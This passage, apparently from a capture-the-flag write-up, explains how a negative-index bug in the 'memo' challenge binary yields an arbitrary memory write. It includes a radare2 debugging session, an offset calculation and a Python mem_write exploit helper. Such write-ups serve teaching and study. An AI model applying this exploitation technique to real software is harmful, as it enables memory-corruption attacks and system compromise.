Article Index

Arbitrary Write

Putting it together, we can realize that an arbitrary memory write exists. The edit function allows you to edit the last written memo. It utilizes the global index value to track what the last written index was, and allows you to use negative indexes. What this means is, we can edit a message that never existed, and we can control the location that is being written to, thus an arbitrary write.

 

Step one is we want to be able to set the global index variable without causing the program to exit. Recall that if we try a negative index, it caused the program to spit out an error. However, look closely at that function:

 

 

We get the "Index too large" error, but there's a check before that. The very first block has a check to see if the index is in use before checking if the index is too large. This means if we can select a negative index and ensure that it is non-zero, we can set our index to it. Using a debugger, we can take a peek at where this is.

 

[0x7f81fb542cc0]> db 0x400C8E
[0x7f81fb542cc0]> dc
Selecting and continuing: 121375
What's user name: AAAAAAAAAAAAAAAAA
Do you wanna set password? (y/n) y
Password must be set to 32 digits or less.
Password: BBBBBBBBBBBBBBB
Done! have a good day AAAAAAAAAAAAAAAAA

1. Leave message on memo
2. Edit message last memo
3. View memo
4. Delete memo
5. Change password
6. Quit.
>> 1
Index: -8
hit breakpoint at: 400c8e
[0x00400c8e]> drr
   rax 0x0000000000602a30  (.bss) (/home/user/bkp/pwn/memo/memo) rax program ascii R W 0xa41 (A
)
   rbx 0x0000000000000000  r8
   rcx 0x00000000ffffffda  rcx
   rdx 0x0000000000000001  (.comment) rdx
    r8 0x0000000000000000  r8
    r9 0x1999999999999999  r9
   r10 0x0000000000000000  r8
   r11 0x00007f81fb2efa00  (/lib/x86_64-linux-gnu/libc-2.23.so) r11 library R X 'add al, byte [rax]' 'libc-2.23.so' (𠀂𠀂𠀂𠀂𠀂𠀂𠀂𠀂𠀂𠀂𠀂𠀂𠀂�����������������翰< 翿翆��p喪�k�喪�翿翆��p喪�喪�喪�翿翆翆0喪�翿翆翆0喪 翿< 翿翆�喪�唁)
   r12 0x00000000004008a0  (.text) (/home/user/bkp/pwn/memo/memo) r12 entry0 program R X 'xor ebp, ebp' 'memo'
   r13 0x00007ffe3a0ffe40  r13 stack R W 0x1 --> (.comment) rdx
   r14 0x0000000000000000  r8
   r15 0x0000000000000000  r8
   rsi 0x0000000000000008  (.comment) rsi
   rdi 0x00007ffe3a0ffcf2  rdi stack R W 0xc4a00000000000a
   rsp 0x00007ffe3a0ffd10  rsp stack R W 0x0 --> r8
   rbp 0x00007ffe3a0ffd20  rbp stack R W 0x7ffe3a0ffd60 --> stack R W 0x401200 --> (.text) (/home/user/bkp/pwn/memo/memo) fcn.00401200 fcn.00401200 program R X 'push r15' 'memo'
   rip 0x0000000000400c8e  (.text) (/home/user/bkp/pwn/memo/memo) rip fcn.00400c52 program R X 'mov rax, qword [rax]' 'memo'
    cs 0x0000000000000033  (.comment) ascii
rflags               C1PI  rflags
  orax 0xffffffffffffffff  orax
    ss 0x000000000000002b  (.comment) ascii
fs_base 0x00007f81fb736700  (unk1) R W 0x7f81fb736700
gs_base 0x0000000000000000  r8
    ds 0x0000000000000000  r8
    es 0x0000000000000000  r8
    fs 0x0000000000000000  r8
    gs 0x0000000000000000  r8

 

Note rax. We can see that when i use the index -8 (chosen mostly arbitrarily), the leave message function looks for the index 16 bytes into the username. Since I didn't want to bother moving offsets around, i just stuck with this index for the rest. However, if you wanted to move it you certainly could. In fact, -10 might be a better choice as it puts the index right at the beginning of your username global.

 

Now that we can set the global index variable, we can use that to control a write using the edit function. However, one things that happen in the edit function is it checks the memo length array for how much to read.

 

 

We can calculate where this value will end up fairly easily.

 

hex(0x602A60 - (8*4)) == 0x602a40

 

So we know that 0x602a40 is actually the start of our password buffer. We now know where we must store a size value. These two pieces combined give us our arbitrary memory write. In python, I wrote it up as follows:

 

def mem_write(addr,value,size):
    global username
    global password

    # Bad chars
    if "\x0a" in p64(addr) or "\x0a" in p32(size) or "\x0a" in value:
        return False

    new_username = "A"*0x10 + p64(addr) + "\n" # Write to addr
    new_password = p32(size) + "\x00" # Number of bytes to read

    # Setup our pointers
    if not change_password(password,new_username,new_password):
        return False

    # Remember our pass
    password = new_password

    if not edit_message(value + "\n"): # Write to memory address
        return False

    return True

 

Note that I have written helper functions (such as change_password) that just wrap those binary calls. I'm not going to go into those as they are fairly strait forward.

 

To use this, we need to be able to remove some randomization of the binary first. That means, in this case, a memory leak.